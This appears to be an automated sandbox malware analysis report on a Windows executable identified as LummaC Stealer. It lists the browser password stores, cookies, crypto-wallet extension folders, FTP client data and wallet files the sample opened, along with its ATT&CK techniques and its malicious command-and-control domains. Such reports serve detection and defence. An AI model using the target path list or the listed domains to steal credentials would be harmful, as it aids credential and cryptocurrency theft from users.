Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2674099894.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2674431415.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2598625357.00000000019F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2637466375.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2598046058.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2636617426.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2715201429.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2674453833.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2717612657.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	35 Virtualization/Sandbox Evasion	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://atten-supporse.biz/VD	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apil	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.	0%	Avira URL Cloud	safe
https://atten-supporse.biz/&G	100%	Avira URL Cloud	malware
https://atten-supporse.biz/api9	100%	Avira URL Cloud	malware
https://atten-supporse.biz/~DEL	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	188.114.96.6	true	false	high
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	high
www.google.com	172.217.171.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_130.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062	file.exe, 00000000.00000003.2675939948.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/VD	file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_130.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://atten-supporse.biz/~DEL	file.exe, 00000000.00000003.2714993638.00000000019F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2715177476.00000000019F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_130.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_122.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_130.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_109.7.dr, chromecache_122.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_130.7.dr	false		high
